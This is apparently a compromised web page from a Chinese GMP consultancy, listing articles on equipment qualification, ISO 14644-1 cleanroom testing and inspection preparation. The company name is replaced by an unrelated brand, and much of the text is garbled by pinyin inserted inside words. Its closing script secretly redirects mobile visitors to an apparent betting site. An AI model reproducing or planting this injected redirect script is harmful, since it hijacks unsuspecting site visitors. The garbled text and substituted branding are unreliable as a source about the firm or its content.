酷游登路

GMP技术文章

酷游登路资源中心为您提供最新的GMP技术文章。您也可以通过发送一封简短的邮件到我们的邮箱:info@gempex.cn索取相关资源,接收来自专业GMP咨询公司的知识讯息。

联系我们

酷游登路(广州)认证咨询有(you)限公司

Ms. Feng 冯女士
Sales & Marketing Dept. 市场销售部
info@gempex.cn
+86 20 2238 2526

精选文章

有效且高效的确认基本原则——第二部分

现发布第2部分——“计(ji)划才(cai)是最重要的”。本部分主要分析了验证与(yu)确认(ren)的计(ji)划,着(zhe)重论述了每个验证开始时的计(ji)划和基(ji)本要素。

有效且高效的确认基本原则——第一部分

现发布第1部(bu)分——“基本(ben)原则”。本(ben)部(bu)分主要介绍(shao)了基础知(zhi)识、对关键概(gai)念的(de)正(zheng)确理解、有效实施的(de)alpha和(he)omega。还有确认和(he)技(ji)术的(de)检查之间有什么(me)区(qu)别?用户要求规(gui)范(fan)到底(di)是(shi)什么(me)?

如何依据ISO14644-1(2015)进行洁净室分级测试

ISO 14644-1 (14644-1:2015)最新版本(第二版)已经于2015年12月发布,根据EU, PIC/S以及中国现行GMP的要求,洁净室与洁净空气设备需根据现行的ISO 14644-1进行分级。
本文将就新版本ISO标准的主要变化及其对洁净室确认分级测试的影响进行深入讨论。

德国专家教你准备GMP检查

成功通过GMP检查对于药品生产企业的业务持续性至关重要,我们不能对检查心存侥幸。通过遵循清晰的程序和建议进行检查准备,我们将能大幅提高检查成功率。
德国资深GMP出版人Thomas Peither在本文列举了一些在准备GMP检查时需要重点关注的要点,帮助您提高检查的成功率。

如何正确管理GMP文件

德(de)国GMP专家Oechslein博士(shi)通(tong)过本文介绍文件受控和可(ke)追(zhui)溯的基本原则(ze),适用于(yu)新入职的员工的培(pei)训。

设备供应商如何在GMP方面支持药企?

如(ru)今,越来越多药企选择让设(she)备(bei)(bei)(bei)供(gong)(gong)应(ying)(ying)商(shang)(shang)执行(xing)这项(xiang)困(kun)难而(er)正式(shi)的(de)(de)确(que)认活动,这是(shi)因为设(she)备(bei)(bei)(bei)供(gong)(gong)应(ying)(ying)商(shang)(shang)通常(chang)对(dui)他们(men)自己的(de)(de)机器和装置有最深入的(de)(de)了解。因此,对(dui)于那些有相关的(de)(de)GMP /确(que)认知识(shi),并能(neng)够提(ti)供(gong)(gong)这方面(mian)支持(chi)的(de)(de)设(she)备(bei)(bei)(bei)供(gong)(gong)应(ying)(ying)商(shang)(shang)来说,这是(shi)一个(ge)巨大的(de)(de)竞争优势。但是(shi),设(she)备(bei)(bei)(bei)供(gong)(gong)应(ying)(ying)商(shang)(shang)具体应(ying)(ying)该怎(zen)么做呢?

var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();